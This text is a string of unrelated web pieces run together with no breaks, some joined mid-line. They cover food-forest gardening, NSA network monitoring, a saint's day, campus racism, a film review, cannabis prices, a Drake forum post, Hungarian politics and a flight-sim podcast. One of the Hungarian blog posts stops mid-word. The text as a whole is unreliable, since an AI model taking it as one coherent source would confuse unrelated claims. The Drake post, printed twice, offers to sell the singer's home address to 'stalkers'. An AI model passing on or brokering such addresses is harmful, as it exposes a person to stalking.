You need to place larger plants such as bananas at the south, with babacos, curry leaf plant, galangal, taro for example to the north, stacked from highest to lowest. A pond towards the north west or wherever your prevailing hot winds come from, can humidify the the air in summer and cool hot breezes, while reflecting light in winter.
More tips
Click here to see some of our photos and examples of food forest plants and food forest systems.
For information on how to keep healthy fruit trees see www.veryediblegardens.com/iveg/healthy-fruit-trees
For Angelo’s notes on Backyard Orchard Culture – strategies for keeping fruit trees very small and productive, see: http://deepgreenpermaculture.com/backyard-orchard-culture/
Sample guilds for food forests
Commonly used, synergistic arrangements of a group of plants are called ‘guilds’. Angelo has compiled the lists below.
Apple Nasturtium Ground cover – repels codling moth Chives, Onions, Garlic Root zone – inhibits apple scab, pest repellent Foxgloves Herbaceous layer – stimulates growth, protects against fungal disease Wallflowers Herbaceous layer – beneficial companion plant Horsetail Ground cover – anti-fungal Bad Companions Grass, Potatoes
Apricot Basil Herbaceous layer – pest repellent Tansy Herbaceous layer – pest repellent Southernwood Herbaceous layer – pest repellent Chives, Onions, Garlic Root zone – inhibits apple scab, pest repellent Comfrey Herbaceous layer – dynamic accumulator of potassium, natural fertiliser Bad Companions Tomatoes, Sage
Raspberries Comfrey Herbaceous layer – dynamic accumulator of potassium, natural fertiliser Tansy Herbaceous layer – pest repellent Yarrow Herbaceous layer – pest repellent Bad Companions Blackberries, Potatoes
Citris Guava Canopy layer – beneficial companion plant Nettles Herbaceous layer – pest repellent Garlic Root zone – pest repellent Horseradish Root zone – prevent root diseases Bad Companions Grass
Grapes Basil Herbaceous layer – pest repellent Tansy Herbaceous layer – pest repellent Geraniums Herbaceous layer – pest repellent Hyssop Herbaceous layer – helps plant growth Chives Root zone – inhibits fungal diseases Mulberries Canopy layer – beneficial companion plant Bad Companions Radish, Cabbage
Peach/Nectarine Garlic Root zone – inhibits leaf curl, pest repellent Southernwood Herbaceous layer – pest repellent Basil Herbaceous layer – pest repellent Tansy Herbaceous layer – pest repellent Chamomile Ground cover – stimulates plant growth Comfrey Herbaceous layer – dynamic accumulator of potassium, natural fertiliser Bad Companions Tomatoes, potatoes
Pear Borage Herbaceous layer – increases general health of plants Clover Ground cover – adds nitrogen to soil Comfrey Herbaceous layer – dynamic accumulator of potassium, natural fertiliser Bad Companions Grass
These plants increase the growth and health of other plants: Borage, Chamomile, Foxglove, Valerian, Yarrow
Additional Notes:
Include bee-attracting plants in fruit tree guilds as pollinator insects are required by fruit trees to bear fruit.
Construct guilds using other edible species - both annuals and perennials can be used. Consult a companion planting table to ensure that these are compatible with each other.
The companions used for the fruit trees listed can be used for other varieties of fruit trees, depending on their properties required, such as adding nitrogen to the soil, or repelling pests.
Ponds and attracting wild life
A client’s pond
A food forest is a way of inviting in wildlife by providing habitat, and letting them help us with the pest control. A pond also really helps to bring in beneficial wildlife, including predator insects, frogs, lizards and birds – especially if it surrounded by plants, rocks and logs. The wildlife then eat caterpillars and other troublesome insects in the food forest or veggie patch, and help pollinate your crops, increasing production and plant health.
The pond margins can be a unique environment in a garden, providing moist-boggy growing areas and rocky niches, enabling plants and small lifeforms unique to these conditions to flourish, increasing the biodiversity of your garden. Frogs and lizards like to be able to travel around the garden unseen from above, so love dense foliage between them and veggie patch or compost pile where the bugs are. Some tufts of native grasses such as kangaroo grasses and poas can be great habitat.
Populate your pond with goldfish, White Cloud Mountain minnows, or the diverse invertebrate life from a local large pond in a park – any of these will prevent mosquitos from breeding.
Other factors that bring in wildlife include dense prickly foliage for small insect eating birds, bird baths, and nectar producing plants for honey eaters.
One form of Melbourne wildlife that are not always so welcome sometimes in large numbers are possums! They can devastate some plants in the garden or sometimes the entire garden. There are various strategies, such as making fences difficult for them to walk on (they don’t like floppy tops or corrugated iron), possum guards on large trees and netting. Some sacrificial plants can sometimes help too.
Food forests and scale
The term food forest can apply to anything from a tightly managed suburban kitchen garden consisting of a diverse range of perennials, through to semi-wild larger systems. While the principles are the same, in the less managed larger systems we are often working with plants that are already there, and choosing wilder, hardier and less domesticated (and often less well known) plants to add to and complement the existing systems.
Where to put food forests in your system
Before planting a food forest you want to locate it well. While you can grow some of your annual veggies within a food forest, often because of different management regimes, you may want to delineate devoted annual areas.
In general we’d tend to put these higher-maintenance veggies closer to the kitchen door, or along otherwise easily accessible areas. Perennial systems tend to be further away or in less accessible areas. Veggies are often scrappy looking too, so many people don’t like them in the front yard.
For these reasons, the front yard is often a great spot for a food forest, as are areas a little further back in the backyard. The aesthetic can be that of a cottage garden, and very attractive.
Other factors to which influence where things should go in a permaculture design include soils, sun and wind exposure and microclimates. We also look for synergies between the elements of the system. VEG offer permaculture design and Intro to Urban Permaculture courses, which can help you design your entire garden.
Chooks or food forest?
Chooks and fruit trees make a great match! But unless your area is large you generally have to choose between a chook-orchard system with minimal shrubs and ground covers, or a food forest, since chooks scratch and eat groundcovers. In VEG designs fruit tree systems are usually either chook systems or food forests.
Planning your food forest
When you are happy with the location of your food forest, this might be a rough implementation order:
Water systems – putting down irrigation or passive greywater systems (food forests can be a good spot for greywater to go, and VEG have some low budget, low maintenance passive systems we offer). The infrastructure should be put in first. We often also include passive water harvesting off driveways etc. where possible, and these micro-earthworks have to happen before planting.
Weed suppression – if you have runner grasses (esp. couch or kikuyu) or any other particularly troublesome weed, you will want to thoroughly suppress these before planting, or you may never be rid of them! There’s some info about using newspaper to ‘sheet mulch’ as a form of weed suppression here: http://permaculturenews.org/2012/07/20/gorgeous-gardens-from-garbage-how-to-build-a-sheet-mulch/
Compost and mulch – while you can gradually build your own fertility on-site through legumes, food forest strategies, chooks and composting, it usually it makes sense to bring in some compost and mulch to fast-track soil improving.
Planting time! Winter is often a good time as you can get bare-root fruit trees.
Maintenance and pruning – the first two or three winters are especially crucial for developing the form of your fruit trees. You may then focus more on spring/summer pruning to maintain the size and shape and fruiting of your fruit trees. Pruning back overly vigorous plants is one of the main maintenance tasks of the food forest. Most of the rest is harvesting!
Evolution. We’re all learning here so let us know how you go.
Further resources and links
Projects
Northcote Library Food Garden www.northcotelibraryfoodgarden.blogspot.com.au
Merristem community greenhouse (propagating and sharing perennial crops): merristem.blogspot.com
Permablitz – get some hands on experience implementing: www.permablitz.net
Books
Edible Forest Gardens by David Jacke with Eric Toensmeier. A two volume book for the real enthusiast!
Creating A Forest Garden: Working with nature to grow edible crops by Martin Crawford.
How to Make a Forest Garden by Patrick Whitefield
West Coast Food Forestry by Rain Tenaqiya
Perennial Vegetables by Eric Toensmeier
Online info
Lots of excellent articles on Angelo’s very informative website: www.deepgreenpermaculture.com
And info on a range of topics at www.veryediblegardens.com/iveg
Good nurseries
Ceres -- nursery and eco-park, Brunswick East. The Permaculture and Bushfoods Nursery carries a large number of the plants listed here. www.ceres.org.au
Bulleen Art & Garden -- a great food oriented nursery with knowledgeable staff. www.baag.com.auThe National Security Agency has significantly enhanced its capabilities for detecting cyber-threats in the two-plus years since former NSA contractor Edward Snowden pilfered and disclosed classified information. The multi-layered capabilities, which include user behavior analytics, now protect a private cloud that provides storage, computing and operational analytics to the intelligence community, CIO Greg Smithberger tells CIO.com.
Greg Smithberger, CIO of the National Security Agency.
“There are a number of initiatives we have underway there to really use a lot of our big data analytics, a lot of the technology we have developed for our foreign intelligence mission, as well as technology we've developed inside our Information Assurance Directorate," says Smithberger, who began his new job six months ago after serving in various operational foreign intelligence roles over the past 27 years. He says the NSA is using automated capabilities "to up our game" for detecting and responding to anomalies, including anything from external attacks to suspicious internal activity.
[ Related: How Cisco is trying to keep NSA spies out of its gear ]
The NSA has taken it on the chin from the mainstream media and privacy advocates because several revelations by Snowden, who while working as an NSA contractor through Booz Allen in 2013 copied and began releasing documents detailing NSA secret programs that surveil communications in the U.S. and abroad. The documents shed new light about the government's monitoring of phone and email records to surveil terrorism suspects. The controversy is regularly stoked with new findings, including the New York Times revelation that the NSA augments the way it sifts through large amounts of digital data in pursuit of bad actors.
NSA analytics capabilities thwart internal, external threats
The NSA has similarly enhanced threat detection for its own network, which analysts, operatives and engineers use for a variety of intelligence-gathering tasks.
Smithberger says that one of the obvious examples includes the capability to spot anomalies as when a credentialed user accesses the network at a strange time and from an unusual geographic location. Imagine, for example, a user bearing credentials of a Virginia-based NSA analyst, who normally access sensitive information from 7 a.m. to 7 p.m., trying to access the same information from Tel Aviv at 3 a.m. Eastern Standard Time. Such behavioral analytics, which incorporate profiling and anomaly-detection based on machine learning, is new but gaining steam in the corporate arena, where it is used to detect breaches early by prioritizing the most reliable alerts, according to research conducted by Gartner analyst Avivah Litan.
[ Related: Protect yourself from hackers and the NSA ]
The NSA is conducting real-time forensic analysis of cybersecurity software and appliances, including firewalls, VPNs and audit logs on every network device "so that we can observe things that humans cannot put together on their own," Smithberger says. He adds there are other, far more "subtle" methods of threat detection, though he declined to describe such capabilities. "I'm not going to get into all of the details here," Smithberger says. "But it's a matter of understanding what is normal on your network, what is authorized on your network with pretty fine granularity... and comparing the observed, in real time, to what has been authorized and what is normal.”
These measures protect a meticulously constructed private cloud that, Smithberger says, deploys technologies similar to what you would expect from public cloud services such as Amazon Web Services, including virtualized servers and applications. However, there are key differences, as the technology is arranged to grants access to a variety of analysts and operatives with varying levels of classification, ranging from low level to top secret. The access is tightly controlled down to each data element layer. Two analysts conducting identical information queries on this system may see different results, based on the security clearances, Smithberger says.
"There's multiple layers inside the network, outside of the network to separate us from the outside world... very much a layered security model with combinations of government-developed, custom developed for government and commercial products," Smithberger says. “That paranoid, layered defense is really the best answer and, frankly, if you get that right then if there are inside problems they become visible as well.”
Private cloud, done public cloud style
The private cloud itself could be considered a triumph. Cultivated under the Intelligence Community Information Technology Enterprise (ICITE) program, which in 2011 proposed a cloud environment that allows the intelligence community to securely access and share information. Defense Intelligence Agency Director David Shedd said in March that “cultural resistance,” not technology, was the greatest impediment to building the private cloud.
Smithberger says the NSA private cloud is fully operational today, thanks to the help of several government contractors and his internal IT staff, who replaced a number of aging commercial and custom-built servers, database software and applications, many of which isolated data. By upgrading these technologies in the construct of an integrated resource pool, the NSA says it will be better positioned to analyze its information assets, thus better serving analysts, operatives and other constituents.
[ Related: NSA approves Samsung and Boeing mobile devices for employee use ]
Smithberger says this private cloud has much finer grained security than anything that's commercially available. But he stopped short of proclaiming the NSA's private cloud is impenetrable.
"It's arrogant for anyone to say that it is impossible to get to the network,” he says. “I would say that there are lots of mechanisms in place with lots of scrutiny to protect our classified world from the outside world and we continue to develop new ideas all the time to shore that up and layer additional pieces -- let's say we are a very hard target."Today the church remembers Evelyn Underhill, 1941.
A leading Christian mystical theologian of the twentieth century, Evelyn Underhill was a married lay person, the daughter of a prominent English barrister. She was a keen scholar and her two best known books,are still widely read and regarded as authoritative in the field of Christian mystical teaching and practice. However, she not only wrote about the great Christian mystical tradition, she practiced it and became one of the foremost spiritual directors of her time. She was a close friend of Baron Friedrich von Hügel and she had a significant influence on Charles Williams, T. S. Eliot, and Dorothy Sayers. Evelyn Underhill successfully reminded us that adoration is the soul at prayer, both common and private. She helped liberate Anglicans from the sterile rationalism, pedagogy, and exhortation that often went under the name of worship. She revived the church"s appreciation of the way of the mystics, reminding us that the true Christian mystic"s life is not “withdrawn from common duties into some rapturous dreamland…The hard and devoted life of the great mystics of the church at once contradicts this view. It is a life inspired by a vivid and definite aim; the life of a dedicated will moving steadily in one direction, towards a perfect and unbroken union with God.”
Read the Wikipedia article here.
O God, Origin, Sustainer, and End of all creatures: Grant that your Church, taught by thy servant Evelyn Underhill, guarded evermore by your power and guided by your Spirit into the light of truth, may continually offer to you all glory and thanksgiving, and attain with your saints to the blessed hope of everlasting life, which you have promised us by our Savior Jesus Christ; who with you and the Holy Spirit lives and reigns, one God, now and forever. Amen.
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Back to the Calendar page.CLOSE A week after racist fliers emerged on the University of Michigan campus, President Mark Schlissel made a strong public condemnation Wednesday, calling them an “act of terrorism.”
Buy Photo University of Michigan President Mark Schlissel called recent racist fliers an “act of terrorism” Wednesday during an annual leadership breakfast. (Photo: Daniel Mears / The Detroit News)Buy Photo
Ann Arbor — A week after racist fliers emerged on the University of Michigan campus, President Mark Schlissel made a strong public condemnation Wednesday, calling them an “act of terrorism.”
“In a way, these posters, (can be interpreted) as an act of terrorism,” Schlissel said. “The only way to combat that is with support and solidarity... and to move forward with a community of allies.”
Schlissel made the comments during a question and answer period after he delivered his vision for UM during the annual leadership breakfast.
He recommended faculty and staff assure UM students they are highly valued and make sure everyone feels included, not just students who are targeted.
“The challenges our students are facing are psychological ones,” Schlissel said. “It’s living in a world where some people are made to believe that they don’t really belong, or that they are different or less-than.
The university president also linked the racial tone of fliers to that of the U.S. presidential campaign.
“We’ve seen that... more broadly in society during this incredibly unusual and divisive political season. I think that’s contributing to the fragility and challenge that many of us face.”
The current presidential campaign features Democratic nominee Hillary Clinton and Republican nominee Donald Trump — a businessman who has come under attack for his disparaging statements on groups of Americans including African Americans, Mexicans, Muslims, women, the disabled and more.
Students later reacted with mixed thoughts about Schlissel’s comments.
Connie Freshcorn, a junior from Adrian, said terrorism is hard to pin down and usually involves acts that take people’s lives.
“But I get that he is trying to maintain a strong front against the (racist fliers),” said Freshcorn, adding many students have reacted just as strongly.
Graduate student Gabrielle Sarpy said she was surprised university officials even used the word “racist” was even used to describe the fliers since incidents in the past have been played down.
“It’s obviously racist,” said Sarpy, originally from southern California. “It’s violent. It creates a culture of fear on campus for students of color.”
She added she didn’t think the pushback would have happened had it not been for the work of black UM students, who last year created a hashtag and movement, Being Black at University of Michigan, and also joined with Black Lives Matter effort.
“It’s a backlash,” Sarpy said. “It’s people who’ve seen how powerful that work is and are trying to silence those voices.”
Schlissel has made other strong statements since the Sept. 27 incident, in which racist fliers were found at Haven and Mason halls. One was “Why White Women Shouldn’t Date Black Men,” and another tells “Euro-Americans” to stop “apologizing,” “living in fear” and “denying (their) heritage.” The bottom of the flier included the words “Alt Right,” and “Be White.”
In the wake of the incident, many students have demonstrated. Schlissel invited the campus community to a forum on Sunday to talk about it; he also demonstrated on the Diag with faculty on Tuesday and has tweeted about it, too.
“#Umich allies stepping up and proclaiming that hateful speech and racism have no place amongst the Wolverines,” Schlissel tweeted in a photo where he linked arms with students.
“No one should feel unsafe in our @umich community,” Schlissel said in another tweet. “Help me spread ideas, not hate.”
Schlissel’s comments come the day before the university hosts a summit to release a months-long, multifaceted approach for the university to improve campus diversity. African-American students represented 4.9 percent of the 43,651 students on campus in 2015, according to Rob Sellers, vice provost for equity, inclusion and academic affairs.
However, Schlissel said during his speech that enrollment numbers for 2016-17 were expected in the next week, with an increase in underrepresented minorities, first generation and Pell-eligible students.
“Though we are still not where we want, or need, to be,” Schlissel said.
KKozlowski@detroitnews.com
Read or Share this story: http://detne.ws/2e2ybGUYou’ve got to hand it to the PM, she’s bloody determined to destroy the people smugglers’ business model at any cost, presumably on the grounds that the war on drugs has so effectively destroyed the drug smugglers’ business model. Oh, hang on.
Hey, what would I know? I’m not the one running the place and thus charged with the sacred duty of keeping the voters of Lindsay from frothing at the mouth. That can’t be easy.
Anyway, if I were running the place, my first decree would be that any person uttering the words “people smugglers’ business model” would be immediately smacked in the face with a large cold wet fish, though that would be a bit rough on the fish.
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Update: due to singular demand, now available as a t-shirt on redbubble.An angry Gujarat dad who looks like he's going to bust a nerve because in every scene he's shouting at his wife and daughter wishing they were back in India and complaining that he'd being paying for the two of the women for over 30 years.
A long suffering mother who shouts back some times only to ask her husband to stop shouting.
A daughter who works as housekeeping staff at a hotel who wants to move into her own apartment (they keep saying 'house'!) laughs and boasts about her many conquests at work, and comes home to shout back at her parents.
It's a relief when her cousin invites her over to Las Vegas for a bachelorette weekend. Here's where you have begin to suspend disbelief. A girl who not a scene ago boasted about men, is suddenly moralistic about her cousin wanting to spend time with her ex before marrying someone else.
Suddenly the girl turns into Kangana Ranaut. It's an acting monster unleashed upon Las Vegas.
She acts the bargaining Guju with the hat guy, then turns into Julia Roberts when she tries to shop at the expensive shop where like Pretty Woman she is turned down. She's then cute with the bartender. She brings on the awful accent of someone who has just learnt English when flirting with man at the bar, then turns into a gambling monster who laughs when she wins and begins to cry like a little girl ('You cheated! You are all bastards! I want to talk to the owner!')
This is just the beginning. And she's hyperventilating in every scene.
Does she get that from her dad? Is the dad justified in yelling at her? Making her pay the electricity bill. Why is she so entitled? Does she have a head for numbers because she's Gujarati? Baccarat is made to look so easy, you can picture Ian Fleming turning in his grave.
So she takes to gambling and goes back to buying clothes from the same shop a la Pretty Woman. And comes back to a blustery dad.
And you're hoping something more would happen.The story comes back into focus when she begins to rob banks. But when you want her character to grow - either into this wild child who just wants the money to shop, or someone dark and negative - she just remains sullen and entitled. You think she's schizophrenic when you see her play the fool in the wig shop and finds a spot of quiet spot by the lake. The young earnest lad who wants to marry her does not seem like a Spendthrift Guju at all (he gives her money!), and why does he want to marry her when she's rather mean to him? And why does her accent vanish and grammatical sentences return intermittently?
And why are cops and American bankers so inept? Why were the Vegas moneylenders so generous to her? A country that prides itself in surveillance it seems rather dumb for them to not recognise her car, and her. This is so implausible, you wonder if the director was absent because Kangana is an award-winning actor? Shahid, made by the same director was also carried by one actor, but you do not see this kind of indulgence in that movie. This film is all over the place, the audience had best run, run, run far away from Simran.I ran across the name John Novak this morning, and saw that he ran a site with the intriguing name of 420 Leaks, so I decided to look it up. Mr. Novak seems to be a lot like me in that he loves to pore through old information and records, finding fascinating tidbits that are useful for medical and legal arguments supporting cannabis.
So I started reading through some of his recent articles, and found this great article about the pre-1937 medicinal cannabis market. It quotes a U.S. Department of Agriculture farmer’s bulletin which gives some great hints for growing cannabis plants on a farm, describes how to properly process them for use in the drug market (!), and concludes with the fact that “The market price in January, 1927, for domestic cannabis (U.S.P.) was 23 to 33 cents a pound”. This was the fair, open market price before all the “reefer madness” hysteria we all know so well, so it’s untainted by ideology.
So I said to myself, “Something something inflation” and used the Federal government’s own inflation calculator to find that, at 33 cents a pound, primo cannabis intended for the “drug market” would cost $4.44 a pound today:
I’ve been saying for years that legal marijuana should cost about as much as oregano, and so there goes your proof.
By the way, Mr. Novak, if you read this, please check out some of our own historical articles:jadensmith Where The Wild Things Are
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Edit: 11 MONTHS LATER. I was right. Notice the fireplace in Drakes snapchat is the same on Ferris's Instagram.
Some of you may have seen the topic a while ago on KTT that Drake has a new house being constructed by the flawless Ferris Rafauli of Grandeur Luxury Homes. A designer/builder who built his first property at 18 which sold for close to 4 million dollars and set records(I said flawless incase he reads this but truly I don't know this man and only reference points is his work through pictures.
Neighbors were quoted saying “If every house is torn down to build these huge ones, it’s no longer a pleasant country walk. No one comes to look at French châteaux.” The area is it apart of the rail trail which for those of you who do not know is Ontario's first entirely off-road, interurban hiking and biking trail which would be located in Drakes backyard. Doubtful but being a megastar like Drake this could pose privacy issues, however I am sure Drake will have all aspects of his hide away and safety covered. These neighbors can miss me with the hater vibes, from their accounts they seem to be older white couples who have been in the area all their lives and are not a fan of the traffic, music and attention that will be brought to the area. However it is Drake occupying the residence, the light skin well mannered, genuine yet quick to snap if you try to pull his card superstar occupying the mansion...how can you hate Drake. Time will heal their wounds, I am sure. Here is a picture of how much land Drake will be sitting on that it stretches from the main road to the trail.
But lets get to the hype, these below are some sketches and proposals of the home that at first was only to be 10,000 square feet but now according to the designers Instagram is somewhere between 22,000-24,000 square feet.
DOUBLE the size of the Yolo estate he is currently throwing bashes at and getting signs stolen from. The home that is bigger than the five closest neighbouring properties combined, and so large that neighbors are protesting to have zone limits to the area to control how large homes can be in the future all because of Drake.
"Back in his native Toronto, Drake is in the early stages of building a place on the city's outskirts that will include "an Olympic-size pool inside the house," he says. Until that's done, this is his pleasure pad(the Yolo estate in Hidden Hill, CA)"...was written in the frustrating article published by Rolling Stone.
According to the development application, by Ferris Rafauli of Grandeur Luxury Homes Drake will now be sitting on 6 acres, a two story 24,000 square foot home, with an attached five-car garage, a 500-square-foot home theatre, a gym, seven bathrooms, a gated court yard, terrace and an olympic sized pool. It will also include a 60-metre driveway big enough for the Uber X drivers to finesse a U-Turn delivering the uncomfortably big bottomed women back to their place of residence if lucky enough to spend the night alone with Drake. SO what will come of this castle? Will this be another amazing hang out pad, living center for the supporting crew of artist Drake, filled with luxuries and occasionally women and guests but more frequently fancy.com boxes and drugs to sooth? Or will this castle become a quiet home for Drake. Possible with his growing age the last home of this caliber he purchases. A home that could potentially house a wife, and children in the near future for Drake? Who knows. But one thing is for sure...my gofundme page will be up soon asking for donations to purchase the soon to be on sale Yolo Estate.
All jokes aside whatever is to come of this master piece I hope Drake enjoys his home after all this time. Im sure this will play a huge role in fore coming albums, songs and Instagram posts. Maybe even a new fleet of vehicles and staff being apart of the OVO family in the near future. Maybe a separate wing for mother Graham. Only time will tell. Do you Drake. Do you.
Edit: on page 5, someone points out I have a conflicting plot summary. Good. With the information I provided u will get close but never exactly know where drake lives. Only I do. I will figure out how much I can legally share and report back!
PS: For any stans/stalkers interested. I will be willing to give away the address to the home for 500 paid in full after which I will be alerting authorities and blasting you for being that crazy. Be easy KTT. Be easy. Thanks for reading.
Contact Info:
Twitter: officialjaden
Instagram: christiaingrey
Hey guys, its god. And since I recently got fired from GQ I decided to bring my talents to the streets.Edit: 11 MONTHS LATER. I was right. Notice the fireplace in Drakes snapchat is the same on Ferris's Instagram.Some of you may have seen the topic a while ago on KTT that Drake has a new house being constructed by the flawless Ferris Rafauli of Grandeur Luxury Homes. A designer/builder who built his first property at 18 which sold for close to 4 million dollars and set records(I said flawless incase he reads this but truly I don't know this man and only reference points is his work through pictures. https://instagram.com/ferrisrafauli/ ) this home has been rapped about, mentioned and discussed over time. From my knowledge the home was purchased 4 years ago for only 800,000 by who we must assume to be Drake and then began legalization and approval/permits/drama for the mansion. Though few residents are aware the owner is Drake, the superstar, the peoples president, the swag champ, dad, they were quick to discuss their hatred and disgust towards the soon to be occupant of the castle. The problem is that previously this home was nothing but a small shack and land in which deer and other animals occupied and played a huge role in the nature scene of the area. This is the home that previously occupied the land for many years.Neighbors were quoted saying “If every house is torn down to build these huge ones, it’s no longer a pleasant country walk. No one comes to look at French châteaux.” The area is it apart of the rail trail which for those of you who do not know is Ontario's first entirely off-road, interurban hiking and biking trail which would be located in Drakes backyard. Doubtful but being a megastar like Drake this could pose privacy issues, however I am sure Drake will have all aspects of his hide away and safety covered. These neighbors can miss me with the hater vibes, from their accounts they seem to be older white couples who have been in the area all their lives and are not a fan of the traffic, music and attention that will be brought to the area. However it is Drake occupying the residence, the light skin well mannered, genuine yet quick to snap if you try to pull his card superstar occupying the mansion...how can you hate Drake. Time will heal their wounds, I am sure. Here is a picture of how much land Drake will be sitting on that it stretches from the main road to the trail.But lets get to the hype, these below are some sketches and proposals of the home that at first was only to be 10,000 square feet but now according to the designers Instagram is somewhere between 22,000-24,000 square feet.DOUBLE the size of the Yolo estate he is currently throwing bashes at and getting signs stolen from. The home that is bigger than the five closest neighbouring properties combined, and so large that neighbors are protesting to have zone limits to the area to control how large homes can be in the future all because of Drake."Back in his native Toronto, Drake is in the early stages of building a place on the city's outskirts that will include "an Olympic-size pool inside the house," he says. Until that's done, this is his pleasure pad(the Yolo estate in Hidden Hill, CA)"...was written in the frustrating article published by Rolling Stone.According to the development application, by Ferris Rafauli of Grandeur Luxury Homes Drake will now be sitting on 6 acres, a two story 24,000 square foot home, with an attached five-car garage, a 500-square-foot home theatre, a gym, seven bathrooms, a gated court yard, terrace and an olympic sized pool. It will also include a 60-metre driveway big enough for the Uber X drivers to finesse a U-Turn delivering the uncomfortably big bottomed women back to their place of residence if lucky enough to spend the night alone with Drake. SO what will come of this castle? Will this be another amazing hang out pad, living center for the supporting crew of artist Drake, filled with luxuries and occasionally women and guests but more frequently fancy.com boxes and drugs to sooth? Or will this castle become a quiet home for Drake. Possible with his growing age the last home of this caliber he purchases. A home that could potentially house a wife, and children in the near future for Drake? Who knows. But one thing is for sure...my gofundme page will be up soon asking for donations to purchase the soon to be on sale Yolo Estate.All jokes aside whatever is to come of this master piece I hope Drake enjoys his home after all this time. Im sure this will play a huge role in fore coming albums, songs and Instagram posts. Maybe even a new fleet of vehicles and staff being apart of the OVO family in the near future. Maybe a separate wing for mother Graham. Only time will tell. Do you Drake. Do you.Edit: on page 5, someone points out I have a conflicting plot summary. Good. With the information I provided u will get close but never exactly know where drake lives. Only I do. I will figure out how much I can legally share and report back!PS: For any stans/stalkers interested. I will be willing to give away the address to the home for 500 paid in full after which I will be alerting authorities and blasting you for being that crazy. Be easy KTT. Be easy. Thanks for reading.Contact Info:Twitter: officialjadenInstagram: christiaingreyI have been sitting here for at least an hour trying to find the right words to describe the madhouse Hungary has become, thanks to Fidesz politicians. This metamorphosis has occurred incrementally, starting in 2002 when Viktor Orbán lost an election he believed was his. Ever since, he has been whipping up prejudices buried deep–or not so deep–in people’s psyches, poisoning the very soul of the population. Wars against the enemies of the country are declared practically every day. Right now the Hungarian government is fighting against Brussels, against the migrants, and, yes, against Heineken, the well-known Dutch brewery. And while they are at it, they are declaring war against all foreign breweries.
Heineken’s encounter with the Orbán government is one of the strangest stories you will run across anywhere because I very much doubt that any government of a western country (probably not even the Trump White House) would engage in such a futile, idiotic fight over an issue which in fact has nothing to do with Hungary.
Heineken moved to Romania in 1998 and five years later bought a run-down brewery in Miercurea Ciuc/Csíkszereda, the county seat of Hargh |
wrapping up the show here, I don’t want to keep you up too late over there. Tell us what’s coming in the near future so we’ve talked about the sim, I know it’s coming pretty soon, tell us what that rollcall is going to be like and what we can expect and where we can get to that sort of thing.
Stephen: The initial rollout of the Flight School product is going to happen towards the end of April. So we’re talking about next month. Which as one of the developers in the project it scares me enormously I’m awfully excited about it.
Chris: Good luck!
Stephen: As a creative we want to as much time as possible to put more and more and more things into this. We’ve got a stack of stuff there that already people are enjoying and I’m excited to release that to the public. That’s going to be out on the Steam platform predominantly at the end of April. We’re going to have a WIN 10 version that follows sometime after that not too long hopefully. But this is going to be something that you would be able to purchase very soon, get on board with.
And sometimes companies do huge kind of PR campaigns and months and months sometimes years ahead of a product release. This is becoming available very soon so if you are the kind of person that buys the occasional add-on or game or simulator that’s out there on the market I hope people save their pennies for the end of April. And invest it in the start of a new flight simulator and a new experience and get on board with what we are trying to do.
I have seen a lot of chatter out there, I know a lot of people are excited about it I’m excited to get the hands on this new product and see what we’re doing. That’s going to be possible very soon.
Chris: Looking forward to it, I’ll be looking at my watch waiting for the day and of course I’ll try to get a little information ahead of time to give our listeners a heads up as well. Stephen I really appreciate your candor and your taking time in being with me and the listeners at large today. On behalf of all of our listeners I’m pretty sure a lot of people are going to be excited about this one. So it sounds like you’re doing good work I also appreciate you taking time to really understand what it’s like to go through flight training. It sounds like you’ve done actual boots on the ground work to see how that happens and I know that a lot of creative energy comes from exercises like that.
Sounds like you are on the right path. I’m excited, I’m sure our listeners are excited so please keep us in the loop and we’ll be there waiting with our credit card I guess for when that day comes.
Stephen: Thank you very much. It’s been an absolute pleasure to chat to you I’ve actually interestingly listen to these podcasts before, long before I got involved in this I thought it would be a great opportunity to chat to you. I’m always more than happy to talk to people that have got an interest in this space and it gives me a break from the day-to-day development and it’s really, really ignites my enthusiasm. I can’t wait to release this at the end of April and after this maybe I’ll get back to doing that.
Chris: Perfect, well we will talk to you again near the end of April, how about that?
Stephen: Thank you very much Chris, really appreciate it.
Chris: Thanks Stephen take care.
Stephen: Take care.
Join us next week for another exciting topic or interview with a great guest. Spread the AviatorCast message. Please review AviatorCast on iTunes or submit an audio question for the show at AviatorCast.com. All iTunes reviews and audio questions that are aired on the show will get an official AviatorCast t-shirt. You can write AviatorCast directly on AviatorCast.com where you can interact with the AviatorCast community or write AviatorCast at me@aviatorcast.com. We’d love to hear from you.
For more information on Angle of Attack simulation training videos for FSX, X-Plane and more, go to www.flyaoamedia.com. If you are looking for a professional aviation training video services and other media, inquire at www.angleofattackpro.com. Now, for the final release clearance, back to Chris Palmer.
Chris: So big things goes out to Stephen Hood for joining us on this episode of AviatorCast. Stephen we are excited for this simulator I think I speak for everyone when I say this is something that the community needs, it’s something that a lot of real pilots can latch on to, people looking to get into real flying. It’s something I think the community itself needs as far as the flight simulation community.
So I’m excited to see what you guys do here that’s coming up soon. So only about a month actually about two months if we come to the end of April. About two months and we’re going to be there. So great job, good luck wrapping things up with your team and we will be waiting with baited breath for the release of this wonderful simulator.
And if you guys want to check out Flight School yourself just go ahead and Google Dovetail Flight School and you should find some news articles there, some stuff on their website that sort of thing. Coming up soon it’s going to be great, really looking forward to it.
So wrapping up the show here big things go out to the Angle of Attack crew here for all the hard work that they do to make these episodes possible. There are a lot of guys working right now to make sure that things move forward and in the flight training media department. And I come here and do some fun things here with the community every week and those guys allow me to do that by continuing to move the work forward.
So I really appreciate them. Thank you the listeners for being here, for spreading the word, for being an evangelist of aviation, for sharing aviation with those that you know and love. This is a great community, I am honored to be a part of it I hope you are too. If there’s anything that I can ever do to help you guys feel free to reach out me@aviatorcost.com. And I’ll be more than happy to point you in the right direction, give you a nudge whatever it is, answering a question and I hope that you guys continue to move forward, reach for your dreams and if you want to become a pilot you can do it.
So that’s it I look forward to talking to you guys next time you then throttle on!
Related
[/transcript]16 June 2005
Denying The Existence Of Time
By Rusty Rockets
Perhaps humans invented the concept of time out of mortal fear; reasoning that if time were tangible then its degenerative march could be controlled, just as mankind has tried to subdue other aspects of the natural world. Immortality would be within our grasp! But while time may be a convenient metronome that delivers neatly portioned slivers of existence to conscious beings, the idea of a 'universal time' is looking increasingly fanciful, at least to some physicists.
One individual, Peter Lynds, has put his reputation on the line to try and prove that thinking of time and motion in measured segments, like frames in a film, is wrong-headed. Funnily enough, that's what his critics think of his theory. Lynds goes as far as saying that if instants, rather than intervals, of time were a cosmological truth, then none of us would be here today. In fact no physical object, no mass or energy down to the smallest of particles would ever be in motion. This is probably not the sort of immortality that our ancestors had in mind.
